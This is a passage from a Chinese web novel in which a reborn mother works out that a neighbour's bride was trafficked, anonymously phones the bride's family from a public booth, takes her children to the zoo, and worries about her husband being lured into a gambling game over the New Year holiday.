不过后来她哥生了一场病,为了治病把店卖了。 赵如月觉得他爸要是能活到手机电脑普及的那个年代,接受智能手机和电脑的速度,可能比上辈子的她还要快。 没准还能跟孩子们一起玩游戏呢! 跟父母聊了一会儿,赵如月看天色还早,出去把两个孩子找回来,一手牵着一个,打着手电筒回家。 走到半路,遇到来接他们的宁绍明,两个小的又说想去他们新家那块地玩。 宁绍明也由着他们,赵如月只好也跟着一起去了。 那宅基地附近是个小树林,只有宅基地所在的这一片被清理出来,成为了空地。 目前只有宁家在这里买了宅基地,等到往后两三年,镇上他们这个年纪,家里还拖着没分家的拖不下去。 越来越多的人分家出来,把宅基地申请在这边,这里会慢慢发展成一条新街。 天上的月亮亮堂堂的,不用手电筒都看得清路。 两个孩子在宅基地上欢笑着疯跑了一圈,气喘吁吁地回到父母身边。 宁时夏牵着赵如月的手,指着一块地方说:“妈妈,以后我给你和爸爸买的四轮车,放在那边。” 宁时秋不甘示弱:“那我给爸爸妈妈买的放在那边。” 赵如月又感动又觉得好笑,这两个孩子还没放弃给她买车呢? 算了,赵如月想,那就顺着孩子哄哄他们吧。 “好好好,妈妈等着你们给我们买,天色不早,该回家了,今晚早点休息,明天还要早起去县城玩,谁要是起不来,我可不等他。” 宁绍明出门前,已经提前烧好了洗澡水。 回到家,刚好可以洗澡。 家里没有热水器,想洗澡只能用家里的大锑锅烧水。 又费时间又费劲,家里人多,想年节都需要洗澡的时候,轮流洗澡都要轮很久。 赵如月边从大锑锅里往水桶里舀水,边想着明天去县城要顺便去看看热水器,不知道现在那种储水式电热水器有没有上市。 要是没有的话,就只能用燃气热水器了,现在的燃气热水器貌似也只有三挡温度可调节,不好调到最合适的温度,而男人女人洗澡时喜欢的温度不一样,大人和小孩子也不一样。 即热式电热水器赵如月倒是可以确定已经有了。 但是她又觉得,它虽然可以随意调节温度,但不够安全。 所以总的来说,还是可以随意调节各种温度,又比即热式电热水器安全的储水式电热水器比较合适家庭使用。 给两个孩子洗好澡,自己也洗过后,赵如月把热水器也加入购物清单里,以免自己忘记。 然后把自家的购物单和大嫂的购物单跟钱一起,放进明天要背去县城的包里。 一家四口洗漱后躺下休息,宁时夏照旧窝在妈妈怀里。 赵如月看两个孩子刚躺下还有点兴奋,她就想着给他们讲个故事,哄哄他们睡觉。 正准备开口,却听到女儿叽里咕噜地念出一串话。 赵如月觉得怪可爱的,轻轻捏了捏女儿的脸蛋:“悄悄念什么呢?” 宁时夏得意地说:“我跟新娘阿姨学的魔法咒语,新娘阿姨说我是最聪明、学得最快的孩子!” “什么新娘阿姨?” “就是大姨家的亲戚,我们隔壁的隔壁的隔壁……嗯反正就是办酒席那家的新娘阿姨。” 赵如月以为是自己大姐带她去的:“你大姨今天那么有空?” 宁时夏:“不是大姨带的,大姨忙着干活,是鑫阳哥说带我们去抢喜糖,我们一群小孩一起去的。” “妈妈,我教你念魔法咒语!”宁时夏在被子底下兴奋地蹬腿。 然后就被她哥镇压了:“你给我老实点,热乎气都要被你蹬没了!” 宁时夏老实了,不到三秒跟个小毛毛虫一样蛄蛹过去:“哥哥我也教你。” 宁时秋无语:“谁要你教,我也会。” “那你念给我听,我看对不对。” “不念,你又不是老师,干嘛念给你听。” 宁时夏表示不跟哥哥一般见识:“哼,那我念给妈妈听,妈妈我教你!” 赵如月笑眯眯地说好。 “那我开始啦,ZeroTwoOneSixTwo……” 宁时夏念第一遍的时候,赵如月还没觉得有什么不对劲。 等到女儿要求她跟着一起念,赵如月自己念了一遍,终于感觉有点不对。 这怎么感觉好像是英文,而且似乎是一串号码。 女儿年纪小,刚上学前班,可能不知道意思,只会学着音调念。 赵如月就让儿子也念一次给自己听。 儿子上学早,已经三年级了,他们这小地方,三年级才开始教英语。 宁时秋念完就说:“我觉得这个跟老师教我们的英文数字很像,可是那个新娘阿姨不是脑子有毛病吗?怎么也会英文?” 赵如月说:“可能她跟电视上学的吧。” 当初赵如月听到姐姐赵如艳说,没见到新娘家户口本,暂时先办酒不领证,就觉得有点不对劲。 只是她那时有自己的一堆事要忙,顾不上深想。 现在那样的感觉更明显了。 按说那位新娘已经二十多了,不存在年龄不够的问题。 他们又说送新娘来的那几个人,是新娘的娘家人,既然那姑娘的家人想把女儿嫁出去,找个人负责她的一生,难道不更应该把婚姻关系从法律上做实? 这些想法,赵如月没跟两个孩子说。 等他们睡熟了,她才小声问宁绍明:“打电话,是不是都要在电话号码面前加上区号?我记得电话号码一般是七位数,区号是四位数,对吧?” 宁绍明不知道她怎么突然问这个:“应该是吧,总共十一位数。” 赵如月默默数了几遍邻居家新娘教女儿的‘魔法咒语’:“没准还真是……” “真是什么?”宁绍明不解地问。 “你不觉得那个新娘教给孩子们的那串数字,像个电话号码吗?你记不记得哪个地方的区号,是02开头?” “这我哪会刻意去记,我就记得我们自己的,只能确定,那不是我们所在省份的区号,你要不查查电话簿?电话簿里开头那两页有各个地方的区号。” “我去看看。”赵如月说着就要起身,去找电话簿看看。 宁绍明忙拦住她:“你忘了,电话簿在大哥大嫂的房间,大晚上的过去不太好,先睡觉,明天我起床就去帮你看看。” “我还真忘了,”赵如月重新躺下,“那先睡觉吧,明早你可别忘了。” 第49章 赵如月惦记着那串号码,第二天早上,她一大早就醒了。 然而宁绍明起得比她还要早一些,听到赵如月起床的动静。 他走进来,从口袋里掏出一张纸:“给,02开头的区号,只有这一个,我还是第一次注意到有三位数的区号。” “竟然是沪市的区号……”赵如月感觉有些意外。 沪市跟他们这里根本挨不着边。 宁绍明看她感兴趣,提议道:“你要是实在好奇,要不你去打打看那串号码能不能打通?反正也花不了多少钱。” “不行,不能在家里打。”赵如月担心,万一真是自己想的那样,那些人查到自家,自家人会被报复。 他们家里还有小孩子,孩子们习惯了在村里到处跑,他们也不能一反常态不让他们出去玩。 “那就这么算了?”宁绍明太了解赵如月了,“不打一次电话,你肯定会一直惦记。” “没说算了,等我们到县城,随便买张电话卡,用公用电话亭打。”赵如月不知道是不是该庆幸,现在县城几乎没有监控。 用于在公用电话亭打电话的电话卡,也不是实名制的。 随便买一张,用完一扔,谁也不知道是谁用过。 宁绍明也隐约觉得有点不对劲了,结合那个新娘的情况,他大概知道赵如月是什么想法。 他虽然看不惯那样的事,但更不希望自己的家人,因为插手在这种事里,受到伤害。 宁绍明想了想说:“我听小夏说过好几次,羡慕她在学校认识的小朋友去过市里的动物园,要不带他们去市里的动物园玩一趟? 可以下午再回县城买东西,晚点回家也没关系,我们骑车去县城,不怕回来的时候赶不上回镇上的末班车” 他没明说,夫妻之间的默契也让赵如月明白了他的意思:“也好,两个孩子能去动物园,肯定高兴坏了。” 宁时夏起来得跟她爸一样早,宁绍明给她洗漱后,换上了新衣服,她特地就抱着小板凳跑到门口坐着等。 她的小伙伴们来叫她去玩,她也不去,装出为难的样子,以为自己炫耀得不明显,实则很明显地炫耀爸爸妈妈要带自己去县城玩的事。 “哎呀,今天不行,我爸说了,新衣服不能弄脏,弄脏就不带我去县城玩了。” 听到小伙伴‘哇’了一声,羡慕地说:“你爸爸妈妈真好,去县城买过年的东西,竟然还愿意顺便带你一起去。” 宁时夏噘着嘴纠正小伙伴的话:“我爸爸妈妈才不是要去县城买过年的东西,才顺便带我去玩,他们说是特地带我们去玩,顺便买东西。” 听到她这话,小伙伴又哇了一声。 宁时秋也换好了衣服,拿着妹妹的小背包出来,看到这一幕,真是服了这小丫头:“别跟人吹牛了,快点背上这个,爸爸妈妈昨晚上教你的东西还记得吗?” “当然记得了!”宁时夏从小伙伴的夸夸圈中心站起来,跑过去,在哥哥的帮助下背上妈妈给她买的双肩小背包。 宁时秋不放心:“那你再背一遍给我听听。” 没想到宁时夏还急着昨晚上他不背魔法咒语给自己听的仇:“不背,你又不是老师,干嘛背给你听!” 宁时秋:“……” “那算了,看来有人也不是很想让我给她买孙悟空的小卡纸。” “我背,我背,哥哥你别走!”宁时夏立马拉住他。 “好吧,”宁时秋转身,装作勉为其难的样子说,“要一次性背出来,没有错误才行哦。” 宁时夏拍拍胸口,非常自信地说:“我肯定一遍过!” “你好好听着,可别走神啊,我要开始啦! 第一、走丢了找不到大人,要找警察叔叔帮忙,不能随便跟别人走;第二、不能吃别人给的东西;第三、要记住自己和家人的名字,还有家里的地址和电话号码,我的名字叫宁时夏,家庭地址和电话是……” 一连背了十条,一点错误都没有。 宁时秋满意地点头:“不错不错,要是今天出门遇到那十条里的事,你能按照爸爸妈妈教的那样做,我就买两份数码宝贝的小卡纸,回到家就送给你一份,要是不能遵守,可就没有了。” 宁时夏问:“如果遇不到呢?” “遇不到也给你。” “好!”宁时夏觉得那简直是小事一桩,开开心心地答应了下来。 房间里,赵如月和宁绍明检查好出门要带的东西,正准备出门。 黄秀华忙叫住宁绍明:“老三,你记得别忘了带上存折,趁着今天还能寄钱,赶紧早点把要分给别人的那份钱寄过去。” 要不她总是不放心,过年都要提心吊胆,怕人家找上门来要钱,让她全家一起丢人。 她不说宁绍明还真差点忘了这回事,敷衍道:“放心吧,我带上了。” 这事等晚上他们回来,跟他妈说一声,钱已经寄给别人,就算过去了,反正她也不会要求一定看到汇款单,好糊弄得很。 一家四口没在家吃早饭,先一起出门到集市上过早,又买了些包子和豆浆油条,才往赵如月娘家去。 她娘家跟她三叔家黏在一起,共用一堵墙,当年这两个院子,也是老宅分出来的小院子。 赵如月去借她堂哥的车总不能空手去,给他买别的东西,他估计也不会收,干脆就给三叔家和自己娘家都买了早饭。 这下可把两家的孩子都乐坏了。 赵如月堂哥家条件比较好,他的小孩虽然平时隔三差五就能吃到,但他每次只能吃一样。 这还是第一次豆沙包、菜包、肉包、豆浆、油条都一起吃到,那小胖子还乐颠颠地问她:“如月姑姑,你以后可以多来借几次车吗?” 然后被他爸在脑门上敲了一记。 拿到车钥匙,一家四口开开心心地骑着摩托车往县城开。 中途路过镇上的客运站,看到那里乌泱泱一堆人在等往公交车上挤。 拉客的五菱宏光每一辆都寄了超过十个人。 赵如月很庆幸借到了堂哥的车,要不带着孩子,还不知道什么时候才能等到去县城的车。 她心里默默把买车加到了购物清单上,今年他们刚换完欠的债,又要建房,还要开店,再买车的话就太惹眼了。 镇上的人平时看着不错,但也多得是背地里恨人有笑人无的人。 太惹眼有可能就会有人暗戳戳使绊子,还是先顺顺当当地把房子建起来,把店开起来,让自家的店在镇上站稳脚跟。 等到明年或者今年的下半年,再看看能不能给自家添一辆车。 小车近几年内是别想了,近些年买都会显得很惹眼。 能买一辆摩托车,有个能跑得比较远的代步工具,已经算镇上条件中上的人家,不然总借别人家的也不太好。 开摩托车可以绕县城附近的村里,比较近的小路,四十几分钟后,一家人到达县城,直奔县医院。 赵如月有好几个亲戚在县医院上班,他们把车开到县医院的停车场,跟亲戚说一声,就可以把车放在这里了。 医院的停车场有保安巡逻,比放在外面安全得多。 宁绍明停下车,带着孩子在停车场等着,赵如月自己进去找到跟自己关系最好的堂妹赵如玉,跟堂妹说要借地方放车的事,顺便把把留给堂妹的丝巾和手套交给她。 年前来医院看病的人不少。 赵如月也不明白为什么,很多外出打工的人生了病,如果不是急症,都不爱在自己工作的地方看。 都爱拖着,拖到回老家,然后在老家的医院看病。 连他们镇上的卫生院,临近年底病人都比平时多。 赵如月的堂妹是护士,一大早刚换班就非常忙,赵如玉好久没见到赵如月,本来还想多聊几句。 结果两人见面后,刚聊了没几句,就有好几个人叫她。 没办法,两人只能约好,等过年时轮到她休息,回老家的时候有空再好好聊聊。 赵如玉赶忙去给几个病人换了空吊瓶,趁着稍微有点空闲,送赵如月到停车场。 然后跟管理员说了几句,给他们拿到停车牌,停好车,又急匆匆往科室赶。 赵如月和宁绍明带着两个孩子离开医院,又上了医院门口拉客的三轮车。 刚刚在医院里不敢说话的宁时夏,一出医院又活泼了起来。 坐上三轮车后,知道爸爸妈妈竟然要带他们去市里的动物园,更兴奋了。 一路上那小脑袋跟雷达似的,左右前后扫描,兴奋得不行。 前往县城客运站的路上,路过一个报刊亭,宁绍明让司机停了一下。 他下车到报刊亭买了一张电话卡和一本漫画杂志。 电话卡夹在杂志里,司机以为他特地下车给孩子的漫画。 还玩笑地说:“担心坐车的时候,孩子在车上待不住?买这个不如买点零食饮料什么的,前面那个今年新开的超市就有,年底还有打折促销呢,你们要买的话我可以在那里也停一停,不过速度要快点。” 宁绍明边把杂志交给赵如月先收起来,边对司机说:“谢谢,不过不用在超市那里停,零食饮料和水果,我们从家里带了。” 到达客运站,又坐上前往市里的客车,到达市里后,在市里的客运站就有可以到达动物园的公交车。 动物园离市里的客运站很近,公交车两个站就能到,但他们只坐了一个站。 中途下车,宁绍明带着两个孩子去路边的一家书店逛,赵如月自己一个人去找公用电话亭。 好在市里公用电话亭不少,赵如月找了一会儿就找到了。 她拿出在县城买的那张电话卡,紧张地按下那一串数字。 听到电话里传来‘嘟——嘟——嘟——’的拨号声,赵如月不由捏紧了话筒,这个号码竟然真的能打通…… 接着电话真的被人接起。 电话那头的人声音略显疲惫:“喂,你好!请问您是哪位?” 第50章 赵如月没有回答那个人的话,反问道:“你家是不是在找人?” 听到她的话,那人声音稍显激动:“是的,我妹妹失踪两年多了,家里一直在找她,请问你是来提供线索吗?” “你妹妹是不是白皮肤,身高大概一米六五,眉头有颗痣?” 那人越发激动:“没错没错!请问你在哪里见过她?如果你提供的线索有用,我愿意给你丰厚的报酬!” “报酬就不用了,我希望你别查这个号码的归属地,也别跟别人说接到过这通电话。” 赵如月只是凭着良心,顺手做这件力所能及的事,根本没想过要什么报酬。 他们夫妻俩最大的期望,就是所有人都当做这通电话不存在,把风险降到最低,别让他们遇到潜藏的危险。 电话那头的人听到这话,心紧紧揪在了一起,提供线索的人,连报酬都不愿意接受。 是否说明,自己妹妹所处的环境很危险?连提供线索的人被发现都要受到伤害? “没问题,我可以保证,不会告诉任何人接到过这通电话。” 他认真想了想,又说:“我用报纸剪下一些字拼成一封信件,就说是有人把信塞到我家的信箱里,我才得到的线索,你看这样可以吗?” “这样很好,你拿纸笔记一下吧,我把她所在的地址给你,你们去找她时,如果想顺利把她带走,最好多带些人还有警察。” 赵如月不确定他们那里的人会不会帮那个男的,反正她家肯定不会帮,她大嫂看到那男的娶不到老婆,没准还会偷偷拍手称快。 但是那男的是本地人,亲戚不少,再加上女方来送嫁的,所谓的家人还没走,这些人加起来也不少。 电话那头很快准备好了纸笔:“我准备好了,麻烦你开始说吧。” “好,地址是Z省华云市云山县榕溪镇小桥街204号。”赵如月重复了三次,确认无误后,顺便把那姑娘的情况跟那边说了一下,就挂掉了电话。 挂电话前,她听到了那边传来了哭声,似乎还人说:“早知道就不让她去见……” 后面挂掉电话就听不到了。 赵如月也没放在心上,毕竟她能做的就这些。 离开公用电话亭,赵如月原路返回家里所在的书店,跟宁绍明对视一眼,点点头。 夫妻俩齐齐露出一个松了一口气的笑容,给孩子们买了他们喜欢的几本书,带着逛书店逛得意犹未尽的两个孩子,坐上车往动物园去。 市里的动物园除了可以看动物,还有一些儿童娱乐设施,包含在票里,买票进园就能免费玩。 宁时秋和宁时夏兄妹俩第一次来这样的地方,一进去就玩疯了,还在动物园里交了好几个新朋友。 几个小朋友一起拍了照片,分别前还一本正经地互换了学校地址,说要做笔友,以后互相写信联系。 从动物园出来,已经是下午一点多。 一家人在市里吃过午饭,才坐上返回县城的车。 两个孩子玩得太累,刚上车就睡着了。 到达县城,赵如月下车前看了一眼车头的时钟。 “才三点多,还不到三点半,现在去大市场太早了,我们先去订钢筋,然后带孩子去县城的人民广场玩一圈?”赵如月看向宁绍明。 宁绍明没意见,订钢筋是去熟人那里订。 老板是他们镇上出来县城做生意的老乡,拐几个弯还是亲戚。 镇上的人建楼房,几乎全是在那个老板那里定钢筋,没被骗过,宁绍明在他那里订也很放心。 他看看两个还在睡眼惺忪地揉眼睛的孩子:“也不知道他俩还有没有力气玩。” 赵如月说:“你应该担心你自己有没有精力陪他们玩,小孩子的精力恢复起来可快了,别看他们现在没精打采的样子,要是没休息过还可能没精神,他俩在车上睡过一觉,等到了人民广场,撒起欢来我们都不一定能追得上。” 等订好钢筋,一家四口来到人民广场。 宁绍明看着跟一群小孩到处窜,又交上几个新朋友的一双儿女,感叹道:“你刚才可真没说错,我可不跟他们一起跑了。” 孩子们第一次来广场玩,一开始兴奋地拉着他跑,他还能跟上。 跑了一段时间,孩子们依然兴致勃勃到处玩,他先歇菜了:“陪他俩玩,比我以前下地干一天活还累,也比我在后厨切菜炒菜上一天班累。” 赵如月拍拍旁边的公共座椅:“坐这里歇歇,我们一人看着一个孩子,别让他们跑丢了就行,这年头人贩子可不少。” 宁绍明点点头,坐下认真地盯着孩子玩,那个新娘的事让他至今心有余悸,不敢不认真。 他都不敢想,如果是自己的孩子不见了,他得有多崩溃。 好在两个孩子也会时不时地回头看看爸爸妈妈在哪里,看到他们还在,才放心地继续玩。 有几个家在县城广场附近的小孩子很喜欢他们,想邀请他们去自己家里玩,他们也不去。 这事还是回家后,两个孩子提起,赵如月和宁绍明才知道的,两人还狠狠夸奖了他们一番。 这天晚饭也是在县城吃,吃饱开车回到家,天已经黑了。 黄秀华坐在门口等着,见到他们安全回来才放心:“怎么那么晚?路上遇到事耽搁了?” “没有,两个孩子第一次去县城,玩得开心,就让他们多玩了一会儿。”宁绍明没跟家里其他人说过,他们还要去市里的事。 他也叮嘱了两个孩子不要跟人说,不然爸爸妈妈就会被坏人抓走,以后也不再带他们去玩了。 两个孩子被他俩唬住,也都严肃地答应了。 他们认真答应过的事一般都能做到,这点赵如月和宁绍明还是比较放心的。 黄秀华埋怨地瞪了他一眼:“怎么能由着孩子玩,天这么黑开车回来,万一遇到点事怎么办?” 她说着就要伸手抱孩子,宁绍明下意识把比较轻的妹妹递过去,却见她错开手,去抱哥哥。 宁绍明瞬间沉下了脸,但门口光线太暗,他妈又一颗心全放在小孙子身上,完全没注意到。 他干脆把两个孩子都放下来,让他们自己走进家里。 然后对黄秀华说:“妈,该给我朋友分的钱,我已经寄出去了,你不用担心,回去休息吧。” 黄秀华摆摆手:“知道了,你把钱给了人家,我就放心了,今晚让小秋和小夏去我那儿睡吧,要不等你们搬走,他们跟我在一块儿的时间就少了。” 宁绍明:“那等房子建好,你跟我们一起去新家住呗?又不是不能提前给你养老。” 他一说这个,黄秀华就不吭声了,去是不可能去的,老三媳妇儿看起来脾气挺好,也讲道理,但绝对不是好拿捏的那种儿媳。 既然知道拿捏不住,还不如自己住图个自在,孙子又不是离得千万里远,以后想见,抬脚走几分钟就能见到。 她不说话,宁绍明也不追着不放,转身提起买回来的东西就进去了。 王海燕听到动静,赶紧过来拿她让赵如月帮忙买的东西。 大人们分东西,两个孩子也在整理今天的收获。 宁时夏今天得了好几种小卡纸,心里美得不行,已经想好明天给小伙伴们分哪些了。 宁时秋也一心惦记着去整理自己今天父母给买的书,刚才完全没注意到奶奶想抱他。 毕竟他上三年级后,虽然才八岁,也自觉自己已经是个大孩子,很少让人抱了,也就是爸爸妈妈刚回来没多久,还有抱他的特权。 次日是除夕,除夕早上来镇上赶集买东西的人是一年中最多。 今天的集市也是一年中开集时间最短的集日,因为他们这里习惯了下午三四点钟就开始吃年夜饭,所以年夜饭从中午就开始做了。 赵如月昨天在县城什么都买齐了,今天就没去集市上凑热闹。 她一大早吃过早饭,先跟宁绍明一起去给摩托车加满油,然后把车子洗干净送回去给她堂哥。 回到家一身轻松。 从回来那天忙忙叨叨到现在,他们俩终于算是有个真正的空闲时刻,虽然也就几个小时。 但在这几个小时里,可以抓一把瓜子,装一盘橘子,惬意地坐在堂屋的火盆边,磕着瓜子烤着火,跟妯娌邻居们闲唠嗑。 要是有兴致,也能找出以前的毛线团和织针,给孩子打个毛衣毛裤,或者钩一双毛拖鞋。 谁要是拿来了扑克牌或者麻将,还能一起打个牌。 宁绍明坐下不到半个小时,赵如月起身去上个厕所的功夫,就有朋友来叫他:“宁老三,去打牌不?” 他想着中午还要杀鸡,打不了多久,想说不去了。 那个朋友却直接走进来拉他:“跟这些妇女一起烤火有什么意思,你又不会打毛线,快快快,三缺一,就等你了!” 另一个人进来顺手抓了一把瓜子,边嗑边帮腔:“就是,哥几个跟你一年不见了,不趁着过年有空,好好联络联络感情,等开年各自忙起来就又没空了。” “打牌的地方就在山脚湾,离大桥街又不远,保准你能准时回家杀鸡拜神。” 宁绍明被他们劝得没办法,又都是从小认识的朋友,确实快一年没见了,不去也不太好。 只能站起身跟他们一起去了,出门前让大嫂等他老婆出来,帮忙转告她一声。 王海燕不以为意,挥挥手让他赶紧走:“知道了,别磨磨叽叽的,早点去还能多玩两把,记着时间,别耽误中午杀鸡就行。” 赵如月上完厕所出来,没看到宁绍明,正准备问一句。 就听到王海燕说:“老三跟他朋友打牌去了。” “哦,他中午准时回来就行。”赵如月也觉得过年打打牌没什么。 她说完又随口问了一句:“跟谁去啊?” 王海燕说:“跟梁国兵那几个,他们说去山脚湾,应该是去梁国兵家了,他家场地大,能摆好几桌,肯定很热闹。” 赵如月本来觉得没什么,但一听到这名字,顿时感觉不妙。 50-60 第51章 有爱凑热闹的邻居听到王海燕的话,蠢蠢欲动地想去凑个热闹。 赵如月却做出兴致缺缺的样子,嫌弃道:“一群男人吵吵嚷嚷,烟鬼还多,凑在一起吸烟,进去那屋子都呼吸不上来,你们谁要去谁去吧,反正我是不乐意去。” 本来想叫她作伴一起去的邻居犹豫了,揶揄道:“你还怕烟味啊?你们家宁老三不是也吸烟?” “他找的工作不让吸烟,就戒了,我就怕他一回来又重新碰烟,臭得很。” 赵如月是真不喜欢烟味,两个孩子也被她带得讨厌烟味,她儿子长大后也是不吸烟的。 那邻居促狭道:“嫌弃臭你还嫁给他?成两口子了,亲嘴的时候嫌不嫌?” “呸!你个促狭鬼!别人我管不着,反正他吸烟不许在房间里吸,也不许在我面前吸烟!” 那邻居开着玩笑,也打消了去看热闹的念头。 毕竟大部分女人都不喜欢烟味,只是改变不了男人,所以习惯了忍耐。 曾经赵如月也是这样,宁绍明后来重新吸烟,她也只是规定不许他在家里吸,让他想吸烟就到院子里。 多冷都得到院子里吸完烟才能进屋,不然就忍着。 这回她打算在他重新犯烟瘾前,把这个习惯给遏制住。 就在赵如月想法子的时候,宁绍明在山脚湾朋友的家里,已经有人给他递烟了。 他在后厨工作久了,即使现在已经回老家,有人递烟,他下意识第一反应是依然摆手婉拒:“不用不用,我戒烟了,这么好的烟,你留着自己用多好。” 给他递烟的人表情语气都很夸张地道:“哎哟喂,你怎么回事啊?这种好东西竟然戒了!” 拒绝别人的烟不太好,宁绍明颇为不好意思地解释:“这不是为了挣钱还债么,我那个工作在后厨,人家规定不能在后厨吸烟,我嫌出去吸烟麻烦,干脆就戒了。” 给宁绍明递烟的那个还想调侃几句,被几个人挤开了。 把他挤开的那几个人对宁绍明的工作很感兴趣。 听他提起工作的事,立刻趁这机会问:“能让你把烟都戒了,工资肯定不低吧?听说你刚开始也在厂里干活,后来自己找的那个工作,怎么找的?” 他们出去打工,老乡介绍的工作一般都是去厂里干流水线,不然别的地方也带不出去那么多老乡。 有机会他们当然想去待遇更好的地方。 这个没什么不能说的,宁绍明就如实说了:“工资还行,主要是没工厂那么累,也不用三班倒上夜班,没那么耗人,还能学手艺,只是要求比较严格。” 他现在想起来,还十分庆幸自己鼓起勇气去问了:“那天我跟我媳妇儿正好休息,我陪她出去逛街,路过一家酒店,看到那酒店贴出来招聘启事,要招后厨干活的帮工,我对后厨的工作挺感兴趣,看待遇又不错,就去试了一下,没想到还真被招进去了。” 宁绍明现在在朋友们面前说起来,表现得特别轻描淡写很轻松的样子。 但只有他自己和他老婆知道,那时候的自己到底做了多少心理准备,才敢踏出那一步。 如今他真的很感谢当时的自己。 其他人跟听故事似的,想得不多的人,听完感叹一句:“你小子真是够走运的!” 还有人开玩笑:“这说明什么?说明以后得多陪媳妇儿逛街!” “可拉到吧,人家媳妇儿旺夫,你媳妇儿是败家,多逛几次,你那钱包空得能跑马!” 有心想找个工作的人说:“就是!陪媳妇儿逛街不一定能那个找到好工作的运气,问绍明没准还能找得到!” 另一个有心人附和:“是这个理,我脸皮厚,我先问!宁三哥你工作那酒店还招人不?我知道你过完年不出去了,只是不知道能不能帮忙联系你工作的地方,帮忙介绍一下?” 他这话一问出来,不少人的目光都不由集中到这边这桌。 宁绍明出去一年就还能把欠债还上,还有钱建房,真的比很多出去两三年的人都强出好几倍去。 镇上夫妻俩一起出去打工的人家不少,想要一年内还清跟他们差不多的债款,日子要过得非常节俭。 同时还不能遇上家里有老人生病之类的大事,全家所有花销控制在一个人的工资内,把另一个人的工资全部存起来,一分不动。 运气那么好的人不多。 而且即使这些条件有人都能达到,他们也就是能把欠债还清,想一年内还同时攒下钱建房是不可能的。 诚然宁绍明那些钱里,有一部分是他们夫妻俩卖货挣到的,可宁绍明他妈和他大哥早把他卖完货,还要给别人分成的事说出去了。 那刨除卖货挣到的钱,剩下那一部分就是他一年下来工作攒到的钱,估摸着算一算,也有不少了。 更别说建好房子,他还有本钱开店。 宁绍明刚回来的那天,也有不少人找他聊过,但那天他们问的都是跟那些货相关的问题,想知道走的什么大运,几乎没人问他的工作。 后来知道卖货这事,他自己都无法复制,有一部分比较务实的人,才把目光转向了他的工作。 宁绍明没端着架子藏着掖着,都是从小认识的朋友,他也很希望朋友能多挣点,过得好一些。 不过宁绍明先把丑话说在了前头:“我得先跟你们说清楚它不好的地方,那个酒店在各方面对员工的要求都很严格,想去的人最好做好心理准备,可别到时候受不了被管头管脚,回来说我坑人。” “那肯定不会,你能给介绍个工作算是帮了大忙了,感谢你还来不及呢!”一个人说完,其他人纷纷附和。 虽然听到不少好话,宁绍明也没飘飘然地大包大揽说一定能给他们介绍成功。 他只说:“等我晚点给经理打电话拜年的时候问问,得了答复再跟你们说,我辞职之前听说酒店要开分店,肯定要招不少人,如果经理那边确认可以给试工机会,等过完年可以让文发带你们一起去。” 其实酒店要开分店这事,不是宁绍明听说的,而是经理亲口告诉他。 经理的意思是,上面的领导觉得他干得不错,想让他去参加一段时间的培训,再把他调到分店那边。 让他手底下也管几个人,算是升职了,还会给他涨点工资。 也就是遇到酒店快速扩张,人手太缺,他这个资历没那么深的师傅才能得到这个机会。 可惜他选择了回老家,走另一条路。 梁国兵听着这些人讨论以后出去打工的事,觉得这群人真是没出息。 打工能挣几个钱? 还要被人管着,没有一点自由,没本事的人才会去打工! 他吐了口烟,两手哗啦哗啦地洗牌,漫不经心地把麻将叠好。 玩了两局,就不动声色地给坐在自己对面的人使了个眼色。 那人会意后做出烦躁的样子,把正在洗的牌一推,叹气说:“唉,就这么五毛一块地打真没劲!” 另一个人立马跟上:“怎么没劲了?好不容易年底大家伙聚一聚,多热闹,你还觉得没劲,你倒是说说,玩什么有劲?” 那人拿出一副扑克挑了挑眉。 故意跟他唱反调的人立刻嗤笑一声:“玩扑克?你别招笑了,扑克能有麻将有劲?” “也要看怎么玩,玩三公不比麻将那五毛一块地玩有意思?就怕你不敢玩!” “小瞧我是不是!老子这辈子最听不得别人说我不敢!不过就我们两个人怎么玩?两个人多没意思,三公玩法,最少也要三个人玩才能叫有劲吧?” 梁国兵顺势也把自己面前的麻将一推:“大家来我家玩,我勉强算个做东的,要是让你们玩得不尽兴,那就是我的不是了,算我一个,刚好三个,我来当庄家。” 宁绍明懵了,不是打麻将吗? 去叫他的时候说三缺一,这才打几圈,变成三多一了。 玩麻将还能说是过年大家聚一聚玩一玩,勉强能说不算赌,可玩三公那可就真的是赌了。 梁国兵看向宁绍明:“绍明你玩不?自己算一家或者跟别人都行。” 宁绍明忙摇头:“不了不了,我打打麻将还成,这个我不太会。” 他站起来把位置让出来:“谁想玩谁来这里坐吧,我就站在边上看看。” 梁国兵的邀请被拒绝,他似乎也不在意,拿过扑克就开始发牌。 三个人玩起来咋咋呼呼、大呼小叫的,赢了大声欢呼,输了拍桌、拍大腿懊恼。 这么大的动静,很快把因为桌子不够,只能围观别人打牌的人给吸引了过来。 围过来的人越多,随着他们各自的输赢,或欢呼、或唏嘘的人越多。 场面很快热了起来,围观的人渐渐不满足于围观,纷纷下场小试牛刀,有些人自己开一家亲自拿牌赌。 有些人觉得自己手气不好,不敢自己摸牌,但也围在四周看哪一家的运气好,就跟着那家下注。 宁绍明身边时不时就有人劝他:“来都来了,玩玩呗?不玩大钱,凑个热闹玩点小钱,也挺有意思。” “跟个五块十块的,算不了什么,大过年的放松一下嘛!” “你不会怕回家被老婆骂吧?玩个几块钱,你老婆肯定发现不了。” 宁绍明被劝得好像不玩他就是怕老婆,不玩就是不给大家面子,不把大家当兄弟。 就在他想着,自己兜里就三十多不到四十块钱,多了也没得输,要不随便跟几次,输完就顺势用没钱的借口离开时。 大腿突然被人抱住,腿边冒出个毛茸茸的小脑袋:“爸爸,妈妈到处找你呢!” 梁国兵眼看宁绍明被劝得已经把手往口袋里伸,马上就要把钱掏出来了。 谁知道半路杀出个小程咬金。 他按捺住内心的烦躁与不耐,故作玩笑地笑着说:“小夏,你爸出来玩之前,都让人跟你妈妈说过了他在这里,小孩子可不能撒谎,撒谎会被狼外婆吃掉的。” 第52章 有时候男人总是会过分看重所谓的兄弟情义,为了给所谓的兄弟面子,去做一些自己本来不想做的事。 有些人甚至因此为所谓的兄弟担保,最后落得个倾家荡产的下场。 赵如月其实不担心宁绍明会这样。 她了解宁绍明,别人可能会玩上头,不但把兜里的钱输光,还要回家拿,甚至家里的钱输没了借钱都要赌。 但宁绍明最多会为了给兄弟面子,把自己兜里的赔进去,而他兜里最多有个百十来块钱,多了他没有,借更是不可能。 上辈子就是这样,别人催他回家拿,他说钱都在媳妇儿手上,他拿不到,别人说他怕老婆,他也不在乎。 他觉得自己本来不想玩,但依然愿意把兜里的钱拿出来,跟兄弟们一起玩,已经算是给兄弟面子了。 兄弟再逼他,就是为难他,不给他面子。 大家都是兄弟,没有谁高谁低,他也不靠别人吃饭。 